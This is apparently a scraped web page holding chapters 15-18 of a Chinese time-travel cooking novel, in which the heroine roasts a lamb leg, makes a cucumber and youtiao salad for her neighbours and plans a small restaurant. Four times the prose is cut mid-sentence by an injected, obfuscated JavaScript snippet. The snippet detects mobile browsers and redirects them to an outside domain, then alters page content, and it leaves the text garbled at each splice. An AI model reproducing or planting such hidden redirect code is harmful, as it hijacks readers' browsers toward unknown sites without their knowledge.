姜芝又拿出了早就备好的葱姜蒜，胡葱，花椒之类，通通放到钉板上，双手持刀细细的切成沫子。 又把那细细的沫子一下一下揉捏在那羊腿上。 这一步正是为了，让这羊腿入味！ 15. 第 15 章 帮羊腿微微按摩了一番后，姜芝瞧着那按摩也算透彻了，刚才从怀中掏出她的绝密宝贝。 今儿上街的时候，除了买各种奇奇怪怪的古式装备之外，姜芝还淘到了个宝贝。 只见她从袖口里掏出一枚香盒，里面装着些黑黑的颗粒。 她拿手指轻轻沾了点，放在鼻尖一闻，表情是满意的，面上却身不由己的打了个喷嚏。 没错，她找到了孜然粉！ 寻找到的过程，说来颇为也好笑。 这个朝代原先佐料极少，至少姜芝先前只知道些花椒，盐，豆酱之类的。 搞得姜芝一度以为是这个时代的农业，在某种方面出现了点什么问题，导致大家光去种各种主食去了，根本没心思吃得好！ 谁知今早上香铺一看，好家伙，且不说玫瑰这种天然甜品调味酱，什么杏仁，什么丁香，什么陈皮这些都还算好，花椒，孜然居然也都一股脑的都被香铺磨碎成粉，夹在香粉里，散发着别具一格的风味。 震惊到目瞪口呆了的姜芝在路人那打听了一番事情缘故，听到最后嘴角抽搐。 总结下来也不多，就一句话，前朝各位皇族贵卿分外喜欢些刺激气味，所以当时各种各样的调料品就被归类为香粉。而今朝还算繁荣，大家还断没有把香粉直接倒饭里的实验精神，所以…… 就成了这一幕。 * 总之，虽然过程颇为奇葩，但好在结果喜人。 姜芝总算是找到了调料购买点，她借此机会把她能用上的调料斤数买了一小盒，用那铺子里面免费赠送的香盒。 姜芝脑袋里漫无目的的这么想了片刻，手上功夫还是一往如既的利索。 孜然粉，花椒粉，芝麻粒之类能够增香增味的调料，都被姜芝细细的按照分量倒在羊腿的表面！ 然后合同着刚才的佐料渣子，姜芝直接上手，给这羊腿来了个细细按摩！ 估摸着按摩时间也差不多了，长腿也入味了之后，姜芝便照旧拿起刚才已经放好在旁边的油纸以及麻绳，将佐料和羊腿紧紧的裹在油纸里，再用麻绳绑得紧紧的，确保佐料的香味能够进一步贯彻在肉里。 忙活了这么久，总算把羊腿处理的差不多了。 下面就要开始处理烤这一个步骤。 姜芝也曾学过西餐那种拿铁板放在上面，然后直接把肉放到铁板上，煎个几分熟的烤法。 但相较于这种，姜芝还是喜欢中国直接拿果木或者松木堆成火堆的烤法。 这种烤法虽然确实更讲究厨师水平，但是掌握得当的厨师确实能把肉的每一分芳香，嚼下去的每一口汁水，都发挥的恰到好处。 而很巧，当年为了学烤全羊，姜芝非常会这么烤！ 裴烨家里向来使用的是无烟炭，但是灶上的话，大抵是因为裴家父母从未高估过他们那位儿子的厨艺，压根没备上些柴火。 所所以这两天煮饭的柴，还是姜芝让裴烨出的钱，在村口那位卖柴的老翁那里买的，都是普通的柴，特点就是易燃耐烧。 但是烤东西用的柴火，却又别不相同。 但姜芝早有准备了！ 在方才买羊肉的时候，她就先提前未雨绸缪的想到了这柴火问题。 集市上卖柴火的还是没多少人。哪怕在蜀城这个还算繁华的地带，人们手上攥着的金钱还是不会浪费在这些人力可及的地方。大多家里有男人的，就通常让男人上荒山砍些干柴下来。家里没男人的，也大多会自己上山砍柴。 但很遗憾，姜芝没办法这么搞！ 第一，虽然姜芝是个美食主播，但是她是真的不会砍柴！ 第二，虽然穿越过来了，但姜芝还是有点抱有一点现代金钱观，比如用时用，花时花，所以相比较于跑到荒山上冒着灼热的热浪砍一小时柴，姜芝表示：她宁可掏点钱！ 不过，尽管姜芝愿意花钱，但她也绝不花冤枉钱！ 她目标明确地向着一户人家走去。 姜芝是个爱外逛的性子，在这穿越来的短短几日间，她差不多已经把整个巷子都逛熟了，跟各位左邻右舍也算都聊上了两三句。 西边这位孙大娘爱吹她家那位金孙，东边王大爷爱好到处听八卦……，姜芝向来愿意在长辈面前耍巧卖乖，自然在诸位邻舍中博了个好印象，甚至连各种小道消息都愿意讲给她听。 但同时，姜芝也差不多感觉到了众人的性子，孙大娘爱炫耀，王大爷游手好闲…… 倘若在这些人那里买柴火，且不说价格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178983|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会远超出姜芝想象，就单说质量，姜芝也不太放心。 毕竟，烤肉可非要果木不可，可不能用些什么粗枝烂叶伪造进去，若是沾了些水，那更是得让姜芝眼前一黑了。 不过，姜芝现在已然想到了一个好人选！ * 她一蹦一跳地到了那条熟悉的巷子面前，轻轻叩响了那扇门。 等到那扇门里头传来稀稀索索的走路声时，姜芝已然摆好姿势，冲着里面盈盈的笑了起来。 “赵婶，我来瞧瞧你啦！” 姜芝这次要请的，正是那一穿越来便遇到的好心赵婶的老伴，也就是那位卖柠檬的赵叔。 * 经一番沟通后，姜芝和赵叔成功达成完美协议！ 姜芝出铜钱，赵叔待会儿就给她上荒山砍一整篮干的果木柴，并帮她送到裴家去。 谈好这笔生意后，两人皆乐得眉开眼笑。 姜芝刚才提出来的要求非常细，小到多粗的柴都有所要求，但赵叔直接一口气应下来，她自然开心的很。 而赵叔那边，本来这些天就过了麦收时节，只能在家里种些青菜打发时间，谁料居然还能有个格外收入的小生意，不易妙哉！ 况且，对于赵叔来说，这种小要求又不难办，不是吗？ * 姜芝手上事务也办完了，就这么哼着歌，愉快地跟赵姨赵叔摆摆手，准备继续回裴家去了。 但在她有所不知的背后，听到她说到的那个地址，赵婶却有些心里小嘀咕。 她边手上忙活着，边向着一旁收拾东西的赵叔： “前些日子我介绍这姑娘的房子分明不是她刚才说的那间呀！咋她刚才又说谢谢我当时给她介绍房子呢？” 越说着，赵婶也是有些蒙圈，手上动作都不禁疑惑得慢了几分。 赵叔还在忙着在一旁收拾着上山砍柴的工具，头都没回一下，只挥挥手，随口落下一句。 “哎呀，老太婆子，莫想那么多了，人家说不准只是跟你客气一下嘛！我先趁早上山了，免得等会热……” 赵大婶左右一思量，觉得也对，便摆了摆手，落下一句话后便继续去做她那道小葱豆腐去了。 “也对，你早去早回哈……” 16. 第 16 章 等赵大爷这边的果木柴送过来之时，姜芝那边的羊腿也算腌好了。 她先挨个把筐里的赵大爷方才砍的果木柴上下翻了一番，确认确实符合她方才提出的要求，甚至赵大爷还为了她方便，干脆在山上便把它切成小块之后， 她也承下了这个情，笑着向赵大爷说道。 “赵叔，倘不如尝尝我新制的饮品，顺便在这竹椅歇歇脚，待会烤好了肉出来，赵大爷也拿些回去和大婶一起尝尝！” 边说着，姜芝还不紧不慢的去厨房，端了一碗酸梅汤出来，笑盈盈地双手递给赵大爷。 赵大爷的犹豫都快写在面上了。 姜芝随便一想都猜得到，大抵是既怕因此欠了她一个人情，又颇为好奇，她如此费大功夫到底有何用，所以干脆加了一码。 只见她盈盈地笑道： “今儿本身烤一整只羊腿就不算少了。赵大爷平日帮我不少，待会带些回去跟大娘尝尝，倘若下次赵家吃些好的，我姜芝也去赵家尝尝鲜！” 都给了赵大爷如此的台阶了，他也不好再在那推让，只得被姜芝按在那条屋外的小板凳上，双手有些僵硬的端着那碗酸梅汤前，时不时紧张的喝两口。 * 姜芝在留下赵大爷之后就直接进灶房忙活了。 她此番留下赵大爷，自然心里也是有所算盘的！ 赵大爷，赵大娘，按照现代的话来讲，应该就算是那种有钱无儿女的孤寡老人，总体来说，虽然平日节省但是部分时候还是很愿意消费的！ 当然姜芝也不指望人家为了她去改变一辈子的消费习惯，但是这种有钱的老顾客还是要多笼罩笼罩的。没准哪天就愿意花上一点小钱过来吃上两餐？或者说句不好听的…… 她心里算盘打的叮当响。 手头动作却不算慢。 果木柴先被她垛成了一个空心的架子，再在中间用一个小火折子将整个柴火点燃。 等到开始的那阵烟雾散去，火是温和绵延地向上冒起来时，姜芝就知道，这火已经差不多了。 虽然表面说是烧烤，姜芝还是对其进行一定改良的。 比如，她没有烤架子，便就地在火堆的两旁垛上比那最为高涨的火苗还高上个半寸的砖块，将方才插着羊腿的木棍压在那砖块下。 左右佐料都放好了，待会儿只需要轻轻的推动砖块，使得那块木棍带着羊腿转动起来，便足以让整个羊腿火候均匀起来了。 * 姜芝在这边忙活着，赵大爷也忍不住探头望了过来。 不出姜芝方才所猜测的那般，他确实蛮好奇的。 按赵大爷和赵大婶平日里的作风与习惯，要他说嘛，羊肉嘛，最好先是， 第一餐先煮汤，羊汤里面加些姜片，喝起来既暖身子又暖肺。 第二餐炖土豆，羊肉此时已经微微熟透了，稍微炖一下便软烂糊了，和那土豆细细密密在舌尖唇齿中环绕。 第三餐再炒些青菜，配合着第二餐剩下来的羊肉，也吃的不亦乐乎。 这样一来，一餐手掌大的羊肉，也够吃上个一日三餐，便宜省事，又有味儿。 所以，如今一瞧姜芝为了个羊腿搞得七里八啦罗嗦一大堆，他心里还是难免有几分不认同。 但在在赵大娘的常年罗嗦下，他难免也涨了几分看人能力，硬是把心里话憋了下去，并没有说出口来。 * 姜芝可不知道赵大爷还有这么多小心思。 倘若知道，说不定都不会请他接着在这坐下来。 没办法，她就是这么记仇！ 此时此刻，姜芝正专注的盯着那火苗烈焰上不断滋拉冒油的羊肉。 此时此刻，羊肉的烤制已经到了关键时候，羊肉被火舌反复撩着底部，姜芝不断慢慢的转动木棍滚动的速度，即不让它太快以至于哪个地方没有被火舌舔食，也不至于它滚的太慢导致某个地方烧的黑乎乎。 烤制羊肉，别人的经验姜芝不知道，但姜芝自有一套秘方。 至于靠的是什么，当然是她那双狗鼻子，以及长久来的经验。 姜芝轻轻一嗅，闻到那个羊油在火上炙烧出来的浓香，便差不多知道，这一面算是到了火候。 便又轻轻的翻动起来。 * 当那阵诱人心弦的羊肉香从烤架上直往赵大爷鼻头钻的时候，他下意识的深呼了一口气，猛地从椅子上站起身来，微微踮起脚。 眼睛直往这边瞥。 他瞧见： 那姜小姑娘这手脚麻利的转动着那烤肉，一边转动着，还一边不忘拿这个小毛刷，在上面刷着些什么！ 被底下那火一直冒上来烤，那香味啊…… 简直可以馋哭十里地的小孩。 赵大爷脑子里突兀地冒出了这样一个比喻时都一愣，这才反应过来，自己都有些被香迷糊了。 他默默在原地咽了口唾沫后，一边屏气凝神的嗅着香味，一边蹑手蹑脚的走了过去，踮着脚悄悄的站在姜芝背后，瞧着姜芝的一举一动。 * 姜芝也被香的微微有些馋了！ 没办法，任谁瞧着那微微焦黄泛红的焦皮滋啦滋啦地煎出油来，底下肉更是微红多汁，怕也免不了伸出几分口舌之欲来！ 更别说如今正坐在这羊腿旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178984|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姜芝，那更是香味的第一受害人。 风一吹过，姜芝的鼻腔里便铺天盖地满是那香喷喷的羊肉香味，激得她都少见的有些嘴馋得咽了口唾沫！ 不过即便这样，姜芝一手来回翻着烤羊腿，另一只手上还不忘备着另一件事情， ——调蘸料！ 香醋来一小碟打底，上面放上葱丝蒜片之类的，再加一点点香油，待会儿只需热油泼香一下！ 那滋味，蘸肉吃，再好不过了！ 姜芝同时不忘再给顾元那个爱吃辣的家伙格外准备一空碟，加上上述调料，最后再加了些茱萸和花椒碎的，一同也用热油泼香！ 这便是这羊腿吃的时候用得上的蘸料了！ * 这边做的行云流水，那边裴烨几人也回来了！ 还没到屋里，几人便闻到那馋人的肉香！ 顾元三下五除二地快跑了几步，利落地直接一个扶手跳，便直接一把跳过了裴家那并不算高的围墙，小跑着进了屋，直奔那香味所在地而去。 直气得游义在后面愤愤不平的嘟囔着“这家伙跑的真快”之类的。 然后也默默地开始跑起来！ 不过出人意料的是，这一次，倒是一旁的裴烨反常地有些不急不慢，走在最后头。 前面快走的两人有所不知，裴烨心里头暗自得意： 他早摸清了姜芝的脾性，表面看上去温温柔柔其实也会暗戳戳的报复人，这回他可没做错事，哼！怎么也不可能不给他吃？ 所以走快走慢又何妨…… 裴烨心里一边这么想着，一边不忘微微收整了一下自己仪容仪表，确定还是一表帅气的时候，才大跨步地跟上了前面俩人。 * 这边心里悄摸炫耀着暗爽，那边姜芝已经眼尖的瞧到了跳进来的顾元，手上指挥着就让顾元开始干活了。 没办法，姜芝是在把这一道烤羊腿做到一半，才发现还是有些地方略显考虑不周。 比如说，她选择性遗忘了，当年的国宴上那只烤全羊，看似她一个人主厨，其实身边徒弟还是不少的。 这些徒弟绝大部分时候只能帮上倒忙，但是也有部分时候颇为有用，比如说，在适当的时候切羊肉，做佐料……之类的。 而如今，她身边只有个啥也不懂的粗老头，正在他后边啥也没看懂地边着迷的闻着，边馋得流口水的嘿嘿一笑。 不笑不要紧，这一笑，把双手忙成八爪鱼的姜芝吓得一个机灵，手一抖，手上的烤羊腿的串子都微微脱手来。 幸好，就在这时，旁边伸出了一只手，一把抓牢了方才姜芝抓着的那个木棍处。 17. 第 17 章 “姜姑娘，这是……” 当顾元手上拿上这一串的时候，脸上分明还有些茫然。 她方才一个滑铲跳进院子后，一抬眼，便看到姜姑娘一个手抖时， 便下意识地手比脑子快地伸手捞了一把，正抓住姜芝方才一直握紧的木棍处后，有些懵然的望向姜芝。 姜芝一抬眼，便对上了这张脸。 她总算长舒了一口气，浅浅地笑了起来，露出了一个小酒窝。 “阿元，你来的正巧，来，快帮我一把……” 边嘴上说着，姜芝边手把手的教了起来。 动作正常到，以至于还没等顾元反应过来方才那亲密的称呼之时，手上已经下意识的跟着姜芝的动作做了起来。 * 后面的裴烨一跨入门栏，便望见了这一幕。 人蒙了。 瞧瞧他瞧见了什么？ 微微矮小一些的姜芝半搂着微微高大些的顾元，两人身形本就差不多，此时正好交错重叠到了一起。 她居然还微微踮起脚来，冲着她耳垂说话！ 裴烨反正一时间是懵了。 虽然下一秒他便有些反应过来，顾元那手上正拿着一块远看上去应该是食材的东西，而姜芝正在手把手的教她。 虽然理智是这么想，但在心底，他还是潜意识都没意识到的不爽！ 他轻咳了一声，惹得那俩交错的人影，纷纷迷惑的向他看来之时，方才上赶两步，探头插足在两人中间来： “你俩现在在做啥呀？” * 姜芝被这一声喊得，霎时间，抬了一下眼睛。 她一看人都来齐了，脸上的酒窝便就没了，立刻指手画脚的指挥了起来。 “你，帮着阿元，看着火候，一定不要那皮焦了，然后把还没有呈现这个颜色的地方多烤烤！” “你，去帮我去买两个黄瓜，两根油条。快去快回！” 姜芝今日没打算做饭，就打算做两个菜，一个便是这烤羊腿，一个便是那夏日最为清凉解暑的黄瓜油条。 说起这东西，可能南方人还是没怎么见过！但是北方尤其是山东，在夏日的时候，最爱来吃这！ 虽然姜芝从地理条件来讲算南方人，但自从夏天吃到一位山东老乡做的这个黄瓜拌油条之后，她便觉得惊为天人！ 不光解暑，还别具风味，配合着肉吃，那真是“惊为天人”！ 姜芝一边脑袋里稍微回味了一下那滋味，然后手上先是趁着游义去买那黄瓜和油条的时候，先把调料配好： 两勺的芝麻酱，两勺的白醋，还有先前做好的酱油一勺儿，再来上香油一勺。 照现在的做法，还要放点味精，但奈何古代的是工艺暂时生产不出来。一想到这，姜芝都忍不住叹了口气来。 不过虽然没得味精大抵味儿不会那么完美，姜芝还是用心地努力调整了一下，用巧劲拿筷子把那两勺麻酱卸开来。 当姜芝捣鼓到手臂都有些发麻的时候，那麻将终于从小小的絮状变成了现代火锅店那种常见的浓稠的浆糊状时，姜芝就知道，这酱算是初步搞定了！ 然后她又微微放上了一大勺清水，继续捣鼓均匀后，又融在那酱中。 这一切做完，看似轻松，实则时候也快到了饭点，那边的羊腿已经烤好了，游义的黄瓜和油条也总算是买回来了。 还没等游义的气喘吁吁歇下来，姜芝已经猛冲一步上去，把那油纸包着的油条还有另一边拎着的黄瓜双手一抽，便直接落入姜芝的掌心。 黄瓜，切头切尾，再微微拿刀的侧面对准黄瓜身，啪啪两下下去后，便把它斜刀切成一小段一小段。 这方法还是当年她和那位山东大娘学的，具体步骤不知道有啥用，总之就是少了一步，黄瓜就会苦！ 油条的处理方式则更加简单，直接单手把每根油条撕成两个指节长短，丢到油锅里轻复炸一下，再捞出来，便变得香酥清脆了！ 油条黄瓜挨个丢入大碗里，加入点方才剁的细碎的蒜末，再加入方才调好的芝麻酱，一拌！ 便可以端上桌来！ 这时候，姜芝还顺眼去看了一下那边羊腿烤得如何了！ 在方才姜芝的隔空指点下，尽管那边两个人仍然手忙脚乱且带了些不知所措的茫然，但好在剩下步骤不多，也不至于搞错。 那羊腿也被烤得焦香四溢起来！ 姜芝指使着那两人处理完毕后，便让他们端上桌来，准备开饭了！ * 这边忙活着，一旁僵坐在小板凳上的赵大爷都被搞得有些不好意思了，趁着众人忙活的功夫，便想从一旁溜走！ 谁知，姜芝向来眼睛尖，虽然口头还在那边指挥着，但是余光间却已经撇到了大爷那不断向门口靠近的脚步，立马从旁边抓了一个小瓷碗，在碗底抓了一把已经拌好了的油条黄瓜，又在那羊腿上夹了一块烤的焦香扑鼻的羊肉！ 笑盈盈的端了上去，与赵大爷拉扯一番后，总算是让大爷自行带回去了！ 赵大爷虽然说还是有些不好意思，但奈何姜芝向来会说话，一番话下来，负罪感都少了不少。 他把方才姜芝掏出来让他砍柴的钱硬塞了回去后，方才有些忐忑不安地向赵家走了回去，一路上还在盘算着如何给家里婆娘交代。 这边，赵婶已经做好了道小葱豆腐，蒸好了一锅柴火饭，就在门口翘首等着赵大爷。 一瞧到赵大爷的身影，便下意识地迎了上去，嘴里还在唠叨着些他太磨蹭了的话语。 距离赵大爷三尺之时，赵婶看到赵大爷那捧在怀里的个白瓷碗，一愣！ “你今儿不是给那姜小姑娘上山砍柴去了吗？怎么，又听那群碎嘴子的话去那寡妇家了？” 赵大爷那性子说好听点，叫与人为善；说难听点，就是没啥情商且软弱。赵大婶因此，也不得不在外人面前常年成了副泼辣模样。 正因如此，有些不安好心的人就爱撮合赵大爷和村口的另一个寡妇，把赵大婶气的够呛。 因此，当赵大婶瞧到这家伙端着碗饭时，第一反应根本没想到姜芝，反而狐疑地觉得赵大爷这心莫非是被寡妇勾走了之类的…… 赵大爷一瞧到媳妇儿那怒气冲冲的脸庞，下意识的一缩脖子，急声答道： “媳妇儿，你听我说，这跟那村口寡妇毫无牵扯，这个呀，是方才那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178985|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜小姑娘给的，说要我们尝尝……” * 等赵大爷总算跟赵大婶说道清楚的时候，锅上的饭也上了汽。 赵大婶边心情极好地笑眯眯起来，边把刚才做好的小葱拌豆腐端了出来。 一边还指使着赵大爷把那白瓷碗放在桌子中间。 两人挨个坐下，便打算尝尝这闻起来就诱人至极的菜肴。 * 赵大婶第一口下去直接惊了！ 这外皮焦香酥脆，一口下去，只在嘴里“咔嚓”一声的作响，让旁观者听着都得劲。更别说尝上一口了。 焦香自不必提，简直是让人闻上一口便垂涎三尺的地步。那外皮酥脆得像是撒了一层细细的薄盐的饼干，却又不显得一丝毫咸味，嚼着嚼着，那羊油的香味从舌底弥漫了出来。 赵大爷方才还特意厚着脸皮找姜芝要了一小碟酱，此时也刚好派上用场。 赵大婶也是久经灶房之人，一看便清楚，这蘸料正适合蘸羊肉。 肉纤维被烤的紧实极了，撕起来一丝一丝的，赵大婶就在旁边蘸了些酱，咸香与肉香裹在一起，筋与肉的嚼劲在口间共同促进，吃起来就真的只能说是，从舌尖美到心窝里去了！ * 赵大爷也在一旁开吃起来，与之不同的是，他先吃的是那油条黄瓜，他打算先试试味儿。 本看着上面裹满的酱，赵大爷开始还皱起眉头犹豫了一下，心里寻思着不想弄脏手。 直到赵大婶吃完了那块羊肉，已经开始美滋滋地咋巴着嘴回味起来了，并伸手向着这盘油条黄瓜抓来，赵大爷方才咬了咬牙，一手抓起块裹着二八酱的油条。 油条赵大爷自然吃过的，或者说在这个朝代这里，这东西的实际名字其实应该是“寒具”，做法也很简单，白面混合着豕膏发酵塑形最后油炸。 甚至简单到赵大大爷他二爷儿子都曾拿此创业过。 但奈何就一个问题，成本太贵且味道，额甚至比不上“蛮头”，毕竟那“蛮头”里面好歹有些肉馅儿，寒具里面非说的话也只有点豕膏油香。 但奈何，上头有人喜欢吃，所以下头人也会自发的追捧起这种奢华之物起来…… 总之，在入嘴之前，赵大爷其实没大抱有希望的。 瞧那绿的绿，黄的黄，能有多好吃？ 但第一口下去，他就被打脸了。 黄瓜清脆的嘎嘣响，配合着那微吸收了些许酱汁而微微发软的“寒具”，一下子便解去了在外行走的带来的暑意。 而这暑意刚消，那黄瓜以及油条上面粘着的芝麻酱便又粘稠地在口腔薄膜上筑巢，吃起来口感又绵密又细腻，配合着酱油，白醋，香油之类的，一时间下去，仿佛整个口腔在酸甜苦辣中打了个滚，酸的酸，香的香，咸的咸，混合在一起，像是在口腔里开了交响曲！ 赵大爷再细细嚼了一下，蒜末的香味也冒了出来。油条缝里还裹着些蒜末带来的独特鲜味，配合着黄瓜的清凉，那种油味瞬间被压了下去，一点也不腻，反而让人及其上瘾—— 一下子，油条的干巴与微油，黄瓜的青涩与无味儿全都被消散了个干净，反而有了些大鱼大肉都难有的满口香甜！ 18. 第 18 章 赵家两口子对视了一眼，又交换着吃了下肉以及那素菜，埋头苦吃了起来。 至于那小葱豆腐，那算什么，平日里倒吃了个清淡爽，但今儿也如此美味之物，那就弃在一旁也无所谓。 直到酒饱饭足之时，两人你看看我，我看看你，眼神中纷纷认可了姜芝的手艺，甚至不惜有些夸张的赞美！ 于是，当姜芝也吃饱放下碗来的时候，便听到咚咚咚的轻轻的敲门声，她没有打扰餐桌上还在干饭的人群，轻悄悄的走了过去，推开了门。 * 门外，赵家两口子是过来还碗的，同样还不乏表示感谢！ 素来嘴拙的赵大爷都努力憋出了几句，更别提本就嘴巧的赵大婶，夸得姜芝都有些不好意思的笑了起来。 说了半天的赵大婶总算是说到了来意了。 “姜姑娘，你这一手手艺，为何不去开一个小食馆？” “咱家也是带一些小私心，但是也是为了姜姑娘您好，毕竟寻常客人也难敢来着公子家吃餐小饭，而那地摊……” “……” 赵大婶语重心长地双手拉着姜芝的手，细细地叨叨了一番，这才告辞。 但等赵大婶走后，姜芝却确实陷入了沉思。 * 这两天玩的太嗨了，姜芝都差点忘记了自己最初梦想——为原主购办个屋子，制成一个小餐铺！ 地摊经济虽然在现代非常火爆，但在古代，就怕上面命令朝夕暮改。 准确来讲，只需要一个禁夜令，姜芝这些天来努力盘活的生意，就可以说是毁于一旦了。 而因此，如今，远不到姜芝能松懈的时候！ 她回屋，坐在榻上，细细的掏出了这些天来算出来的钱俩，数了数余额，经过两天摆摊，加上外头几位吃饭的杂七杂八，给的小费甚至买菜钱之类的，她手上钱两也不少了。 至少，在夜市旁那条相比较起来没那么繁华的岔路口租家一室的小铺子，租三个月，绝对够了。 * 微微把这两天买好的东西扎好后，她抬头看了看天： 今儿日头也不小了，天空见也没有一丝云能躲下那魅力四射的太阳，今儿怕是难得租。 不如趁明儿早上，她再去租行寻个住处，到时候做完早饭再与裴烨辞个行。 * 到底是心里有了目标，姜芝心里更加踏实，而行动也更加风驰电掣了。 之后也不知道还有没有回来的时候，借此机会她打算趁机给小麻花先定点目标， 身为她都看好的小姑娘家家的，怎么也得做个名堂出来吧？ 她单独喊得已经吃完饭的小麻花坐在床头，这次真真切切地细细的把小麻花的识字量，读完的书籍都问了个遍后，正式地叫了一下小麻花的名字。 “游凌！” 游凌，也就是小麻花，虽然照旧不说话，但眼神分明都认真了不少。 “日后我可能有点事，到时候忙起来可能顾不到你。所以今儿先把你的任务定完。” “你哥嘴上素来喜欢不着调的开玩笑，所以你可能以为，考科举这件事情，是我随口吹的？” “但是小麻花，本朝对女子的约束比前朝甚至前前朝都好上不少，女子是可以读书写字，更可以出门行商。这得益于我们开国时无数女子的奉献……” “游凌，你是个聪明的孩子，我也不跟你说多的，我对你的目标，就是那玉山书院！” 说到前面的时候，小麻花眼神那是越来越严肃，但到最后四个字的时候，她反倒蒙了。 用眼神下意识地询问起来。 “别想了，就是玉山书院！蜀地最好不过的书院！” “所以，从今以后，你也莫听你哥那个游手好闲……听我一言，玉山书院，也不考其他书院那样的孝经，诗书之类的，这两天我也去那边打探了一番……” “玉山书院，一考礼仪，日常礼长辈礼，这些不用我说，你应该自己也知道的，是吧？” “二考读史，这个之后，每日清晨你来我房，我教你些分析……” “三考作诗，这个有点凭天赋，不过总之把音韵作律之类的学透了就没问题。” “……” “总之，小游凌，不要太妄自匪浅了，你是我见过最聪明的小姑娘，这个目标对你来讲，不算难！” 小麻花被姐姐这一番话说的眼睛都亮了起来，像是那点点星火，漂亮极了。 她一边接过姜芝从集市上淘来的旧书，一边小声的在嘴里嘟囔着重复着要点：“礼仪，音韵……” 然后就被实在没忍住的姜芝又撸了把那毛茸茸的头发。 * 这一事告一段落，姜芝心里大石也算是放下了大半。 她这些天来表面上天天在灶房，各种集市那里忙碌，实则也在不断的在他人口语间抽丝剥茧出这些信息来。 游家实在是个商贾之家，家里父母虽然托以厚望，但基本上没任何信息来源。更何况长辈不在家，就单单让游义这个家伙带着妹妹…… 至于游义，他但凡有这个脑子能想到这—— 呵呵，都不至于让姜芝呕心沥血地去帮小姑娘这么多的忙。 * 姜芝跟小麻花细细交代完之后，心里事总算又少了一件。 这会儿功夫，她也不想跑到灶房里热辣滚烫地出一身汗，便寻了一处阴凉处，书卷耷拉在脸上打算再睡个午觉。 姜芝睡得向来快，不过一刻钟都没到的功夫，她已经迷迷糊糊进入了梦乡。 一阵凉风袭来，姜芝忍不住打了个喷嚏，顺势在那原本凉飕飕，而如今已经被坐热了的竹椅上翻了个身，又打算继续蒙头大睡下去。 这一番行云流水的动作，却把出来如厕的裴烨看得呆愣在那里。 少女生得娇俏，以至于裴烨一直把她当做妹妹看待。 可那一瞬间，姑娘的睡眼惺忪，不施粉黛，却分外显出一副芙蓉之面，更别提那窈窕…… 裴小处男也不知道想到哪儿去了，一时间，慌忙仰头，止住了鼻尖那喷出来的血液。 然后喉结轻动。 * 睡醒了的姜芝可不知道在她熟睡的时候还发生过小剧场。 昨晚睡得太晚，加上今天起的太早，以至于她今天除了做饭以外，就在补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185459|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉。 此时一朝清醒，只觉得头脑间分外的清明。 趁此功夫，她把账单又算了一遍，算完一遍，只觉得兴高采烈。 但当她又大概估算了一下之后租房买家具买食材之类的所要的钱两后，忍不住又长叹了一口气。 “算了，先不想那么多了。” 她默默自言自语了一句，然后便起身伸了个懒腰，直往灶房去。 此时离晚餐时间还早，姜芝目前可不打算做饭。 她打算趁着这个时候，把上午买下的小鱼拿出去晒成小鱼干！ 今天在集市上，除了买那些调味品之外，姜芝还看到个壮汉在卖从河边捞上来的小鱼的，姜芝买了些，刚才已经放入了干净的水瓢里，让它排污。 现在就可以开始处理了。 姜芝娴熟地用小剪子给小鱼们开膛破肚：先把小小的鱼腹用剪子划开一道口，然后再一挤，内脏立马就挤了出来，最后又在两边鱼鳃处用剪子扒拉一下，一抠，鱼鳃也跟着手指出来了。 姜芝动作很快，不过一会儿时间，手边还未处理的小鱼就已经全部处理完毕。 她微微舒展了一下有些酸胀的腰身，开始了下一步：腌制。 腌制最简单的方法自然是加盐，此地的小鱼大约个一百三四十只，因此，姜芝微微估算了一下，确保一把倒入的盐可以覆盖到每一只小鱼的身上之后，便不再加盐，反而开始蹲下身来，细细的给小鱼们按摩起来。 等到差不多那井盐粒的粗糙触感已经摸不到之时，这按摩便算是差不多了。 姜芝找了块干净的纱布，盖在上面防灰后，便把它放到阴凉地方静置下来了。 姜芝心头微微算了箩，大概静置个两三个时辰后，在洗去表面的盐沥干水便可以把小鱼仔初步的晾干。 剩下的步骤，需要阳光作伴。 